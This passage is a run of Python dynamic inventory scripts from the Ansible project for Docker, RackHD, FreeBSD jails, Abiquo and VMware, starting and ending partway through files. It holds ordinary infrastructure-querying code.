BOOLEANS_TRUE = ['yes', 'on', '1', 'true', 1, True]
BOOLEANS_FALSE = ['no', 'off', '0', 'false', 0, False]


DOCKER_ENV_ARGS = dict(
    config_file='DOCKER_CONFIG_FILE',
    docker_host='DOCKER_HOST',
    api_version='DOCKER_API_VERSION',
    cert_path='DOCKER_CERT_PATH',
    ssl_version='DOCKER_SSL_VERSION',
    tls='DOCKER_TLS',
    tls_verify='DOCKER_TLS_VERIFY',
    timeout='DOCKER_TIMEOUT',
    private_ssh_port='DOCKER_DEFAULT_SSH_PORT',
    default_ip='DOCKER_DEFAULT_IP',
)


def fail(msg):
    sys.stderr.write("%s\n" % msg)
    sys.exit(1)


def log(msg, pretty_print=False):
    if pretty_print:
        print(json.dumps(msg, sort_keys=True, indent=2))
    else:
        print(msg + u'\n')


class AnsibleDockerClient(Client):
    def __init__(self, auth_params, debug):

        self.auth_params = auth_params
        self.debug = debug
        self._connect_params = self._get_connect_params()

        try:
            super(AnsibleDockerClient, self).__init__(**self._connect_params)
        except APIError as exc:
            self.fail("Docker API error: %s" % exc)
        except Exception as exc:
            self.fail("Error connecting: %s" % exc)

    def fail(self, msg):
        fail(msg)

    def log(self, msg, pretty_print=False):
        if self.debug:
            log(msg, pretty_print)

    def _get_tls_config(self, **kwargs):
        self.log("get_tls_config:")
        for key in kwargs:
            self.log("  %s: %s" % (key, kwargs[key]))
        try:
            tls_config = TLSConfig(**kwargs)
            return tls_config
        except TLSParameterError as exc:
           self.fail("TLS config error: %s" % exc)

    def _get_connect_params(self):
        auth = self.auth_params

        self.log("auth params:")
        for key in auth:
            self.log("  %s: %s" % (key, auth[key]))

        if auth['tls'] or auth['tls_verify']:
            auth['docker_host'] = auth['docker_host'].replace('tcp://', 'https://')

        if auth['tls'] and auth['cert_path'] and auth['key_path']:
            # TLS with certs and no host verification
            tls_config = self._get_tls_config(client_cert=(auth['cert_path'], auth['key_path']),
                                              verify=False,
                                              ssl_version=auth['ssl_version'])
            return dict(base_url=auth['docker_host'],
                        tls=tls_config,
                        version=auth['api_version'],
                        timeout=auth['timeout'])

        if auth['tls']:
            # TLS with no certs and not host verification
            tls_config = self._get_tls_config(verify=False,
                                              ssl_version=auth['ssl_version'])
            return dict(base_url=auth['docker_host'],
                        tls=tls_config,
                        version=auth['api_version'],
                        timeout=auth['timeout'])

        if auth['tls_verify'] and auth['cert_path'] and auth['key_path']:
            # TLS with certs and host verification
            if auth['cacert_path']:
                tls_config = self._get_tls_config(client_cert=(auth['cert_path'], auth['key_path']),
                                                  ca_cert=auth['cacert_path'],
                                                  verify=True,
                                                  assert_hostname=auth['tls_hostname'],
                                                  ssl_version=auth['ssl_version'])
            else:
                tls_config = self._get_tls_config(client_cert=(auth['cert_path'], auth['key_path']),
                                                  verify=True,
                                                  assert_hostname=auth['tls_hostname'],
                                                  ssl_version=auth['ssl_version'])

            return dict(base_url=auth['docker_host'],
                        tls=tls_config,
                        version=auth['api_version'],
                        timeout=auth['timeout'])

        if auth['tls_verify'] and auth['cacert_path']:
            # TLS with cacert only
            tls_config = self._get_tls_config(ca_cert=auth['cacert_path'],
                                              assert_hostname=auth['tls_hostname'],
                                              verify=True,
                                              ssl_version=auth['ssl_version'])
            return dict(base_url=auth['docker_host'],
                        tls=tls_config,
                        version=auth['api_version'],
                        timeout=auth['timeout'])

        if auth['tls_verify']:
            # TLS with verify and no certs
            tls_config = self._get_tls_config(verify=True,
                                              assert_hostname=auth['tls_hostname'],
                                              ssl_version=auth['ssl_version'])
            return dict(base_url=auth['docker_host'],
                        tls=tls_config,
                        version=auth['api_version'],
                        timeout=auth['timeout'])
        # No TLS
        return dict(base_url=auth['docker_host'],
                    version=auth['api_version'],
                    timeout=auth['timeout'])

    def _handle_ssl_error(self, error):
        match = re.match(r"hostname.*doesn\'t match (\'.*\')", str(error))
        if match:
            msg = "You asked for verification that Docker host name matches %s. The actual hostname is %s. " \
                "Most likely you need to set DOCKER_TLS_HOSTNAME or pass tls_hostname with a value of %s. " \
                "You may also use TLS without verification by setting the tls parameter to true." \
                 % (self.auth_params['tls_hostname'], match.group(1))
            self.fail(msg)
        self.fail("SSL Exception: %s" % (error))


class EnvArgs(object):
    def __init__(self):
        self.config_file = None
        self.docker_host = None
        self.api_version = None
        self.cert_path = None
        self.ssl_version = None
        self.tls = None
        self.tls_verify = None
        self.tls_hostname = None
        self.timeout = None
        self.default_ssh_port = None
        self.default_ip = None


class DockerInventory(object):

    def __init__(self):
        self._args = self._parse_cli_args()
        self._env_args = self._parse_env_args()
        self.groups = defaultdict(list)
        self.hostvars = defaultdict(dict)

    def run(self):
        config_from_file = self._parse_config_file()
        if not config_from_file:
            config_from_file = dict()
        docker_hosts = self.get_hosts(config_from_file)

        for host in docker_hosts:
            client = AnsibleDockerClient(host, self._args.debug)
            self.get_inventory(client, host)

        if not self._args.host:
            self.groups['docker_hosts'] = [host.get('docker_host') for host in docker_hosts]
            self.groups['_meta'] = dict(
                hostvars=self.hostvars
            )
            print(self._json_format_dict(self.groups, pretty_print=self._args.pretty))
        else:
            print(self._json_format_dict(self.hostvars.get(self._args.host, dict()), pretty_print=self._args.pretty))

        sys.exit(0)

    def get_inventory(self, client, host):

        ssh_port = host.get('default_ssh_port')
        default_ip = host.get('default_ip')
        hostname = host.get('docker_host')

        try:
            containers = client.containers(all=True)
        except Exception as exc:
            self.fail("Error fetching containers for host %s - %s" % (hostname, str(exc)))

        for container in containers:
            id = container.get('Id')
            short_id = id[:13]

            try:
                name = container.get('Names', list()).pop(0).lstrip('/')
            except IndexError:
                name = short_id

            if not self._args.host or (self._args.host and self._args.host in [name, id, short_id]):
                try:
                    inspect = client.inspect_container(id)
                except Exception as exc:
                    self.fail("Error inspecting container %s - %s" % (name, str(exc)))

                running = inspect.get('State', dict()).get('Running')

                # Add container to groups
                image_name = inspect.get('Config', dict()).get('Image')
                if image_name:
                    self.groups["image_%s" % (image_name)].append(name)

                self.groups[id].append(name)
                self.groups[name].append(name)
                if short_id not in self.groups.keys():
                    self.groups[short_id].append(name)
                self.groups[hostname].append(name)

                if running is True:
                    self.groups['running'].append(name)
                else:
                    self.groups['stopped'].append(name)

                # Figure ous ssh IP and Port
                try:
                    # Lookup the public facing port Nat'ed to ssh port.
                    port = client.port(container, ssh_port)[0]
                except (IndexError, AttributeError, TypeError):
                    port = dict()

                try:
                    ip = default_ip if port['HostIp'] == '0.0.0.0' else port['HostIp']
                except KeyError:
                    ip = ''

                facts = dict(
                    ansible_ssh_host=ip,
                    ansible_ssh_port=port.get('HostPort', int()),
                    docker_name=name,
                    docker_short_id=short_id
                )

                for key in inspect:
                    fact_key = self._slugify(key)
                    facts[fact_key] = inspect.get(key)

                self.hostvars[name].update(facts)

    def _slugify(self, value):
        return 'docker_%s' % (re.sub('[^\w-]', '_', value).lower().lstrip('_'))

    def get_hosts(self, config):
        '''
        Determine the list of docker hosts we need to talk to.

        :param config: dictionary read from config file. can be empty.
        :return: list of connection dictionaries
        '''
        hosts = list()

        hosts_list = config.get('hosts')
        defaults = config.get('defaults', dict())
        self.log('defaults:')
        self.log(defaults, pretty_print=True)
        def_host = defaults.get('host')
        def_tls = defaults.get('tls')
        def_tls_verify = defaults.get('tls_verify')
        def_tls_hostname = defaults.get('tls_hostname')
        def_ssl_version = defaults.get('ssl_version')
        def_cert_path = defaults.get('cert_path')
        def_cacert_path = defaults.get('cacert_path')
        def_key_path = defaults.get('key_path')
        def_version = defaults.get('version')
        def_timeout = defaults.get('timeout')
        def_ip = defaults.get('default_ip')
        def_ssh_port = defaults.get('private_ssh_port')

        if hosts_list:
            # use hosts from config file
            for host in hosts_list:
                docker_host = host.get('host') or def_host or self._args.docker_host or \
                              self._env_args.docker_host or DEFAULT_DOCKER_HOST
                api_version = host.get('version') or def_version or self._args.api_version or \
                    self._env_args.api_version or DEFAULT_DOCKER_API_VERSION
                tls_hostname = host.get('tls_hostname') or def_tls_hostname or self._args.tls_hostname or \
                    self._env_args.tls_hostname
                tls_verify = host.get('tls_verify') or def_tls_verify or self._args.tls_verify or \
                    self._env_args.tls_verify or DEFAULT_TLS_VERIFY
                tls = host.get('tls') or def_tls or self._args.tls or self._env_args.tls or DEFAULT_TLS
                ssl_version = host.get('ssl_version') or def_ssl_version or self._args.ssl_version or \
                    self._env_args.ssl_version

                cert_path = host.get('cert_path') or def_cert_path or self._args.cert_path or \
                    self._env_args.cert_path
                if cert_path and cert_path == self._env_args.cert_path:
                    cert_path = os.path.join(cert_path, 'cert.pem')

                cacert_path = host.get('cacert_path') or def_cacert_path or self._args.cacert_path or \
                    self._env_args.cert_path
                if cacert_path and cacert_path == self._env_args.cert_path:
                    cacert_path = os.path.join(cacert_path, 'ca.pem')

                key_path = host.get('key_path') or def_key_path or self._args.key_path or \
                    self._env_args.cert_path
                if key_path and key_path == self._env_args.cert_path:
                    key_path = os.path.join(key_path, 'key.pem')

                timeout = host.get('timeout') or def_timeout or self._args.timeout or self._env_args.timeout or \
                    DEFAULT_TIMEOUT_SECONDS
                default_ip = host.get('default_ip') or def_ip or self._args.default_ip_address or \
                    DEFAULT_IP
                default_ssh_port = host.get('private_ssh_port') or def_ssh_port or self._args.private_ssh_port or \
                    DEFAULT_SSH_PORT
                host_dict = dict(
                    docker_host=docker_host,
                    api_version=api_version,
                    tls=tls,
                    tls_verify=tls_verify,
                    tls_hostname=tls_hostname,
                    cert_path=cert_path,
                    cacert_path=cacert_path,
                    key_path=key_path,
                    ssl_version=ssl_version,
                    timeout=timeout,
                    default_ip=default_ip,
                    default_ssh_port=default_ssh_port,
                )
                hosts.append(host_dict)
        else:
            # use default definition
            docker_host = def_host or self._args.docker_host or self._env_args.docker_host or DEFAULT_DOCKER_HOST
            api_version = def_version or self._args.api_version or self._env_args.api_version or \
                DEFAULT_DOCKER_API_VERSION
            tls_hostname = def_tls_hostname or self._args.tls_hostname or self._env_args.tls_hostname
            tls_verify = def_tls_verify or self._args.tls_verify or self._env_args.tls_verify or DEFAULT_TLS_VERIFY
            tls = def_tls or self._args.tls or self._env_args.tls or DEFAULT_TLS
            ssl_version = def_ssl_version or self._args.ssl_version or self._env_args.ssl_version

            cert_path = def_cert_path or self._args.cert_path or self._env_args.cert_path
            if cert_path and cert_path == self._env_args.cert_path:
                    cert_path = os.path.join(cert_path, 'cert.pem')

            cacert_path = def_cacert_path or self._args.cacert_path or self._env_args.cert_path
            if cacert_path and cacert_path == self._env_args.cert_path:
                cacert_path = os.path.join(cacert_path, 'ca.pem')

            key_path = def_key_path or self._args.key_path or self._env_args.cert_path
            if key_path and key_path == self._env_args.cert_path:
                key_path = os.path.join(key_path, 'key.pem')

            timeout = def_timeout or self._args.timeout or self._env_args.timeout or DEFAULT_TIMEOUT_SECONDS
            default_ip = def_ip or self._args.default_ip_address or DEFAULT_IP
            default_ssh_port = def_ssh_port or self._args.private_ssh_port or DEFAULT_SSH_PORT
            host_dict = dict(
                docker_host=docker_host,
                api_version=api_version,
                tls=tls,
                tls_verify=tls_verify,
                tls_hostname=tls_hostname,
                cert_path=cert_path,
                cacert_path=cacert_path,
                key_path=key_path,
                ssl_version=ssl_version,
                timeout=timeout,
                default_ip=default_ip,
                default_ssh_port=default_ssh_port,
            )
            hosts.append(host_dict)
        self.log("hosts: ")
        self.log(hosts, pretty_print=True)
        return hosts

    def _parse_config_file(self):
        config = dict()
        config_path = None

        if self._args.config_file:
            config_path = self._args.config_file
        elif self._env_args.config_file:
            config_path = self._env_args.config_file

        if config_path:
            try:
                config_file = os.path.abspath(config_path)
            except:
                config_file = None

            if config_file and os.path.exists(config_file):
                with open(config_file) as f:
                    try:
                        config = yaml.safe_load(f.read())
                    except Exception as exc:
                        self.fail("Error: parsing %s - %s" % (config_path, str(exc)))
        return config

    def log(self, msg, pretty_print=False):
        if self._args.debug:
            log(msg, pretty_print)

    def fail(self, msg):
        fail(msg)

    def _parse_env_args(self):
        args = EnvArgs()
        for key, value in DOCKER_ENV_ARGS.items():
            if os.environ.get(value):
                val = os.environ.get(value)
                if val in BOOLEANS_TRUE:
                    val = True
                if val in BOOLEANS_FALSE:
                    val = False
                setattr(args, key, val)
        return args

    def _parse_cli_args(self):
        # Parse command line arguments

        basename = os.path.splitext(os.path.basename(__file__))[0]
        default_config = basename + '.yml'

        parser = argparse.ArgumentParser(
                description='Return Ansible inventory for one or more Docker hosts.')
        parser.add_argument('--list', action='store_true', default=True,
                           help='List all containers (default: True)')
        parser.add_argument('--debug', action='store_true', default=False,
                           help='Send debug messages to STDOUT')
        parser.add_argument('--host', action='store',
                            help='Only get information for a specific container.')
        parser.add_argument('--pretty', action='store_true', default=False,
                           help='Pretty print JSON output(default: False)')
        parser.add_argument('--config-file', action='store', default=default_config,
                            help="Name of the config file to use. Default is %s" % (default_config))
        parser.add_argument('--docker-host', action='store', default=None,
                            help="The base url or Unix sock path to connect to the docker daemon. Defaults to %s"
                                  % (DEFAULT_DOCKER_HOST))
        parser.add_argument('--tls-hostname', action='store', default='localhost',
                            help="Host name to expect in TLS certs. Defaults to 'localhost'")
        parser.add_argument('--api-version', action='store', default=None,
                            help="Docker daemon API version. Defaults to %s" % (DEFAULT_DOCKER_API_VERSION))
        parser.add_argument('--timeout', action='store', default=None,
                            help="Docker connection timeout in seconds. Defaults to %s"
                                  % (DEFAULT_TIMEOUT_SECONDS))
        parser.add_argument('--cacert-path', action='store', default=None,
                            help="Path to the TLS certificate authority pem file.")
        parser.add_argument('--cert-path', action='store', default=None,
                            help="Path to the TLS certificate pem file.")
        parser.add_argument('--key-path', action='store', default=None,
                            help="Path to the TLS encryption key pem file.")
        parser.add_argument('--ssl-version', action='store', default=None,
                            help="TLS version number")
        parser.add_argument('--tls', action='store_true', default=None,
                            help="Use TLS. Defaults to %s" % (DEFAULT_TLS))
        parser.add_argument('--tls-verify', action='store_true', default=None,
                            help="Verify TLS certificates. Defaults to %s" % (DEFAULT_TLS_VERIFY))
        parser.add_argument('--private-ssh-port', action='store', default=None,
                            help="Default private container SSH Port. Defaults to %s" % (DEFAULT_SSH_PORT))
        parser.add_argument('--default-ip-address', action='store', default=None,
                            help="Default container SSH IP address. Defaults to %s" % (DEFAULT_IP))
        return parser.parse_args()

    def _json_format_dict(self, data, pretty_print=False):
        # format inventory data for output
        if pretty_print:
            return json.dumps(data, sort_keys=True, indent=4)
        else:
            return json.dumps(data)


def main():

    if not HAS_DOCKER_PY:
        fail("Failed to import docker-py. Try `pip install docker-py` - %s" % (HAS_DOCKER_ERROR))

    DockerInventory().run()

main()






#!/usr/bin/python

import json
import requests
import os
import argparse
import types

RACKHD_URL = 'http://localhost:8080'

class RackhdInventory(object):
    def __init__(self, nodeids):
        self._inventory = {}
        for nodeid in nodeids:
            self._load_inventory_data(nodeid)
        inventory = {}
        for nodeid,info in self._inventory.iteritems():
            inventory[nodeid]= (self._format_output(nodeid, info))
        print(json.dumps(inventory))

    def _load_inventory_data(self, nodeid):
        info = {}
        info['ohai'] = RACKHD_URL + '/api/common/nodes/{0}/catalogs/ohai'.format(nodeid )
        info['lookup'] = RACKHD_URL + '/api/common/lookups/?q={0}'.format(nodeid)

        results = {}
        for key,url in info.iteritems():
            r = requests.get( url, verify=False)
            results[key] = r.text
        self._inventory[nodeid] = results

    def _format_output(self, nodeid, info):
        try:
            node_info = json.loads(info['lookup'])
            ipaddress = ''
            if len(node_info) > 0:
                ipaddress = node_info[0]['ipAddress']
            output = { 'hosts':[ipaddress],'vars':{}}
            for key,result in info.iteritems():
                output['vars'][key] = json.loads(result)
            output['vars']['ansible_ssh_user'] = 'monorail'
        except KeyError:
            pass
        return output


def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('--host')
    parser.add_argument('--list', action='store_true')
    return parser.parse_args()

try:
    #check if rackhd url(ie:10.1.1.45:8080) is specified in the environment
    RACKHD_URL = 'http://' + str(os.environ['RACKHD_URL'])
except:
    #use default values
    pass

# Use the nodeid specified in the environment to limit the data returned
# or return data for all available nodes
nodeids = []

if (parse_args().host):
    try:
        nodeids += parse_args().host.split(',')
        RackhdInventory(nodeids)
    except:
        pass
if (parse_args().list):
    try:
        url = RACKHD_URL + '/api/common/nodes'
        r = requests.get( url, verify=False)
        data = json.loads(r.text)
        for entry in data:
            if entry['type'] == 'compute':
                nodeids.append(entry['id'])
        RackhdInventory(nodeids)
    except:
        pass






#!/usr/bin/env python

# (c) 2013, Michael Scherer <misc@zarb.org>
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from subprocess import Popen,PIPE
import sys
import json

result = {}
result['all'] = {}

pipe = Popen(['jls', '-q', 'name'], stdout=PIPE, universal_newlines=True)
result['all']['hosts'] = [x[:-1] for x in pipe.stdout.readlines()]
result['all']['vars'] = {}
result['all']['vars']['ansible_connection'] = 'jail'

if len(sys.argv) == 2 and sys.argv[1] == '--list':
    print(json.dumps(result))
elif len(sys.argv) == 3 and sys.argv[1] == '--host':
    print(json.dumps({'ansible_connection': 'jail'}))
else:
    sys.stderr.write("Need an argument, either --list or --host <host>\n")






#!/usr/bin/env python
# -*- coding: utf-8 -*-

'''
External inventory script for Abiquo
====================================

Shamelessly copied from an existing inventory script.

This script generates an inventory that Ansible can understand by making API requests to Abiquo API
Requires some python libraries, ensure to have them installed when using this script.

This script has been tested in Abiquo 3.0 but it may work also for Abiquo 2.6.

Before using this script you may want to modify abiquo.ini config file.

This script generates an Ansible hosts file with these host groups:

ABQ_xxx: Defines a hosts itself by Abiquo VM name label
all: Contains all hosts defined in Abiquo user's enterprise
virtualdatecenter: Creates a host group for each virtualdatacenter containing all hosts defined on it 
virtualappliance: Creates a host group for each virtualappliance containing all hosts defined on it
imagetemplate: Creates a host group for each image template containing all hosts using it

'''

# (c) 2014, Daniel Beneyto <daniel.beneyto@abiquo.com>
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

import os
import sys
import time
import ConfigParser

try:
    import json
except ImportError:
    import simplejson as json

from ansible.module_utils.urls import open_url

def api_get(link, config):
    try:
        if link == None:
            url = config.get('api','uri') + config.get('api','login_path')
            headers = {"Accept": config.get('api','login_type')}
        else:
            url = link['href'] + '?limit=0'
            headers = {"Accept": link['type']}
        result = open_url(url, headers=headers, url_username=config.get('auth','apiuser').replace('\n', ''),
                url_password=config.get('auth','apipass').replace('\n', ''))
        return json.loads(result.read())
    except:
        return None

def save_cache(data, config):
    ''' saves item to cache '''
    dpath = config.get('cache','cache_dir')
    try:
        cache = open('/'.join([dpath,'inventory']), 'w')
        cache.write(json.dumps(data))
        cache.close()
    except IOError as e:
        pass # not really sure what to do here


def get_cache(cache_item, config):
    ''' returns cached item  '''
    dpath = config.get('cache','cache_dir')
    inv = {}
    try:
        cache = open('/'.join([dpath,'inventory']), 'r')
        inv = cache.read()
        cache.close()
    except IOError as e:
        pass # not really sure what to do here

    return inv

def cache_available(config):
    ''' checks if we have a 'fresh' cache available for item requested '''

    if config.has_option('cache','cache_dir'):
        dpath = config.get('cache','cache_dir')

        try:
            existing = os.stat( '/'.join([dpath,'inventory']))
        except:
            # cache doesn't exist or isn't accessible
            return False

        if config.has_option('cache', 'cache_max_age'):
            maxage = config.get('cache', 'cache_max_age')
            if ((int(time.time()) - int(existing.st_mtime)) <= int(maxage)):
                return True

    return False

def generate_inv_from_api(enterprise_entity,config):    
    try:
        inventory['all'] = {}
        inventory['all']['children'] = []
        inventory['all']['hosts'] = []
        inventory['_meta'] = {}
        inventory['_meta']['hostvars'] = {}

        enterprise = api_get(enterprise_entity,config)
        vms_entity = next(link for link in (enterprise['links']) if (link['rel']=='virtualmachines'))
        vms = api_get(vms_entity,config)
        for vmcollection in vms['collection']:
            vm_vapp = next(link for link in (vmcollection['links']) if (link['rel']=='virtualappliance'))['title'].replace('[','').replace(']','').replace(' ','_')
            vm_vdc = next(link for link in (vmcollection['links']) if (link['rel']=='virtualdatacenter'))['title'].replace('[','').replace(']','').replace(' ','_')
            vm_template = next(link for link in (vmcollection['links']) if (link['rel']=='virtualmachinetemplate'))['title'].replace('[','').replace(']','').replace(' ','_')

            # From abiquo.ini: Only adding to inventory VMs with public IP
            if (config.getboolean('defaults', 'public_ip_only')) == True:
                for link in vmcollection['links']:
                    if (link['type']=='application/vnd.abiquo.publicip+json' and link['rel']=='ip'):
                      vm_nic = link['title']
                      break
                    else:
                      vm_nic = None
            # Otherwise, assigning defined network interface IP address
            else:
                for link in vmcollection['links']:
                    if (link['rel']==config.get('defaults', 'default_net_interface')):
                      vm_nic = link['title']
                      break
                    else:
                      vm_nic = None
            
            vm_state = True
            # From abiquo.ini: Only adding to inventory VMs deployed
            if ((config.getboolean('defaults', 'deployed_only') == True) and (vmcollection['state'] == 'NOT_ALLOCATED')):
                vm_state = False

            if not vm_nic == None and vm_state:
                if not vm_vapp in inventory.keys():
                    inventory[vm_vapp] = {}
                    inventory[vm_vapp]['children'] = []
                    inventory[vm_vapp]['hosts'] = []
                if not vm_vdc in inventory.keys():
                    inventory[vm_vdc] = {}
                    inventory[vm_vdc]['hosts'] = []
                    inventory[vm_vdc]['children'] = []
                if not vm_template in inventory.keys():
                    inventory[vm_template] = {}
                    inventory[vm_template]['children'] = []
                    inventory[vm_template]['hosts'] = []
                if config.getboolean('defaults', 'get_metadata') == True:
                    meta_entity = next(link for link in (vmcollection['links']) if (link['rel']=='metadata'))
                    try:
                        metadata = api_get(meta_entity,config)
                        if (config.getfloat("api","version") >= 3.0):                           
                            vm_metadata = metadata['metadata']
                        else:
                            vm_metadata = metadata['metadata']['metadata']
                        inventory['_meta']['hostvars'][vm_nic] = vm_metadata
                    except Exception as e:
                        pass

                inventory[vm_vapp]['children'].append(vmcollection['name'])
                inventory[vm_vdc]['children'].append(vmcollection['name'])
                inventory[vm_template]['children'].append(vmcollection['name'])
                inventory['all']['children'].append(vmcollection['name'])
                inventory[vmcollection['name']] = []
                inventory[vmcollection['name']].append(vm_nic)

        return inventory
    except Exception as e:
        # Return empty hosts output
        return { 'all': {'hosts': []}, '_meta': { 'hostvars': {} } }

def get_inventory(enterprise, config):
    ''' Reads the inventory from cache or Abiquo api '''

    if cache_available(config):
        inv = get_cache('inventory', config)
    else:
        default_group = os.path.basename(sys.argv[0]).rstrip('.py')
        # MAKE ABIQUO API CALLS #
        inv = generate_inv_from_api(enterprise,config)

    save_cache(inv, config)
    return json.dumps(inv)

if __name__ == '__main__':
    inventory = {}
    enterprise = {}

    # Read config
    config = ConfigParser.SafeConfigParser()
    for configfilename in [os.path.abspath(sys.argv[0]).rstrip('.py') + '.ini', 'abiquo.ini']:
        if os.path.exists(configfilename):
            config.read(configfilename)
            break

    try:
        login = api_get(None,config)
        enterprise = next(link for link in (login['links']) if (link['rel']=='enterprise'))
    except Exception as e:
        enterprise = None

    if cache_available(config):
        inventory = get_cache('inventory', config)
    else:
        inventory = get_inventory(enterprise, config)

    # return to ansible
    sys.stdout.write(str(inventory))
    sys.stdout.flush()






#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
VMware Inventory Script
=======================

Retrieve information about virtual machines from a vCenter server or
standalone ESX host.  When `group_by=false` (in the INI file), host systems
are also returned in addition to VMs.

This script will attempt to read configuration from an INI file with the same
base filename if present, or `vmware.ini` if not.  It is possible to create
symlinks to the inventory script to support multiple configurations, e.g.:

* `vmware.py` (this script)
* `vmware.ini` (default configuration, will be read by `vmware.py`)
* `vmware_test.py` (symlink to `vmware.py`)
* `vmware_test.ini` (test configuration, will be read by `vmware_test.py`)
* `vmware_other.py` (symlink to `vmware.py`, will read `vmware.ini` since no
  `vmware_other.ini` exists)

The path to an INI file may also be specified via the `VMWARE_INI` environment
variable, in which case the filename matching rules above will not apply.

Host and authentication parameters may be specified via the `VMWARE_HOST`,
`VMWARE_USER` and `VMWARE_PASSWORD` environment variables; these options will
take precedence over options present in the INI file.  An INI file is not
required if these options are specified using environment variables.
'''

from __future__ import print_function

import collections
import json
import logging
import optparse
import os
import ssl
import sys
import time
import ConfigParser

from six import text_type, string_types

# Disable logging message trigged by pSphere/suds.
try:
    from logging import NullHandler
except ImportError:
    from logging import Handler
    class NullHandler(Handler):
        def emit(self, record):
            pass
logging.getLogger('psphere').addHandler(NullHandler())
logging.getLogger('suds').addHandler(NullHandler())

from psphere.client import Client
from psphere.errors import ObjectNotFoundError
from psphere.managedobjects import HostSystem, VirtualMachine, ManagedObject, Network, ClusterComputeResource
from suds.sudsobject import Object as SudsObject


class VMwareInventory(object):

    def __init__(self, guests_only=None):
        self.config = ConfigParser.SafeConfigParser()
        if os.environ.get('VMWARE_INI', ''):
            config_files = [os.environ['VMWARE_INI']]
        else:
            config_files =  [os.path.abspath(sys.argv[0]).rstrip('.py') + '.ini', 'vmware.ini']
        for config_file in config_files:
            if os.path.exists(config_file):
                self.config.read(config_file)
                break

        # Retrieve only guest VMs, or include host systems?
        if guests_only is not None:
            self.guests_only = guests_only
        elif self.config.has_option('defaults', 'guests_only'):
            self.guests_only = self.config.getboolean('defaults', 'guests_only')
        else:
            self.guests_only = True

        # Read authentication information from VMware environment variables
        # (if set), otherwise from INI file.
        auth_host = os.environ.get('VMWARE_HOST')
        if not auth_host and self.config.has_option('auth', 'host'):
            auth_host = self.config.get('auth', 'host')
        auth_user = os.environ.get('VMWARE_USER')
        if not auth_user and self.config.has_option('auth', 'user'):
            auth_user = self.config.get('auth', 'user')
        auth_password = os.environ.get('VMWARE_PASSWORD')
        if not auth_password and self.config.has_option('auth', 'password'):
            auth_password = self.config.get('auth', 'password')
        sslcheck = os.environ.get('VMWARE_SSLCHECK')
        if not sslcheck and self.config.has_option('auth', 'sslcheck'):
            sslcheck = self.config.get('auth', 'sslcheck')
        if not sslcheck:
            sslcheck = True
        else:
            if sslcheck.lower() in ['no', 'false']:
                sslcheck = False
            else:
                sslcheck = True

        # Limit the clusters being scanned
        self.filter_clusters = os.environ.get('VMWARE_CLUSTERS')
        if not self.filter_clusters and self.config.has_option('defaults', 'clusters'):
            self.filter_clusters = self.config.get('defaults', 'clusters')
        if self.filter_clusters:
            self.filter_clusters = [x.strip() for x in self.filter_clusters.split(',') if x.strip()]

        # Override certificate checks
        if not sslcheck:
            if hasattr(ssl, '_create_unverified_context'):
                ssl._create_default_https_context = ssl._create_unverified_context

        # Create the VMware client connection.
        self.client = Client(auth_host, auth_user, auth_password)

    def _put_cache(self, name, value):
        '''
        Saves the value to cache with the name given.
        '''
        if self.config.has_option('defaults', 'cache_dir'):
            cache_dir = os.path.expanduser(self.config.get('defaults', 'cache_dir'))
            if not os.path.exists(cache_dir):
                os.makedirs(cache_dir)
            cache_file = os.path.join(cache_dir, name)
            with open(cache_file, 'w') as cache:
                json.dump(value, cache)

    def _get_cache(self, name, default=None):
        '''
        Retrieves the value from cache for the given name.
        '''
        if self.config.has_option('defaults', 'cache_dir'):
            cache_dir = self.config.get('defaults', 'cache_dir')
            cache_file = os.path.join(cache_dir, name)
            if os.path.exists(cache_file):
                if self.config.has_option('defaults', 'cache_max_age'):
                    cache_max_age = self.config.getint('defaults', 'cache_max_age')
                else:
                    cache_max_age = 0
                cache_stat = os.stat(cache_file)
                if (cache_stat.st_mtime + cache_max_age) >= time.time():
                    with open(cache_file) as cache:
                        return json.load(cache)
        return default

    def _flatten_dict(self, d, parent_key='', sep='_'):
        '''
        Flatten nested dicts by combining keys with a separator.  Lists with
        only string items are included as is; any other lists are discarded.
        '''
        items = []
        for k, v in d.items():
            if k.startswith('_'):
                continue
            new_key = parent_key + sep + k if parent_key else k
            if isinstance(v, collections.MutableMapping):
                items.extend(self._flatten_dict(v, new_key, sep).items())
            elif isinstance(v, (list, tuple)):
                if all([isinstance(x, string_types) for x in v]):
                    items.append((new_key, v))
            else:
                items.append((new_key, v))
        return dict(items)

    def _get_obj_info(self, obj, depth=99, seen=None):
        '''
        Recursively build a data structure for the given pSphere object (depth
        only applies to ManagedObject instances).
        '''
        seen = seen or set()
        if isinstance(obj, ManagedObject):
            try:
                obj_unicode = text_type(getattr(obj, 'name'))
            except AttributeError:
                obj_unicode = ()
            if obj in seen:
                return obj_unicode
            seen.add(obj)
            if depth <= 0:
                return obj_unicode
            d = {}
            for attr in dir(obj):
                if attr.startswith('_'):
                    continue
                try:
                    val = getattr(obj, attr)
                    obj_info = self._get_obj_info(val, depth - 1, seen)
                    if obj_info != ():
                        d[attr] = obj_info
                except Exception as e:
                    pass
            return d
        elif isinstance(obj, SudsObject):
            d = {}
            for key, val in iter(obj):
                obj_info = self._get_obj_info(val, depth, seen)
                if obj_info != ():
                    d[key] = obj_info
            return d
        elif isinstance(obj, (list, tuple)):
            l = []
            for val in iter(obj):
                obj_info = self._get_obj_info(val, depth, seen)
                if obj_info != ():
                    l.append(obj_info)
            return l
        elif isinstance(obj, (type(None), bool, int, long, float, string_types)):
            return obj
        else:
            return ()

    def _get_host_info(self, host, prefix='vmware'):
        '''
        Return a flattened dict with info about the given host system.
        '''
        host_info = {
            'name': host.name,
        }
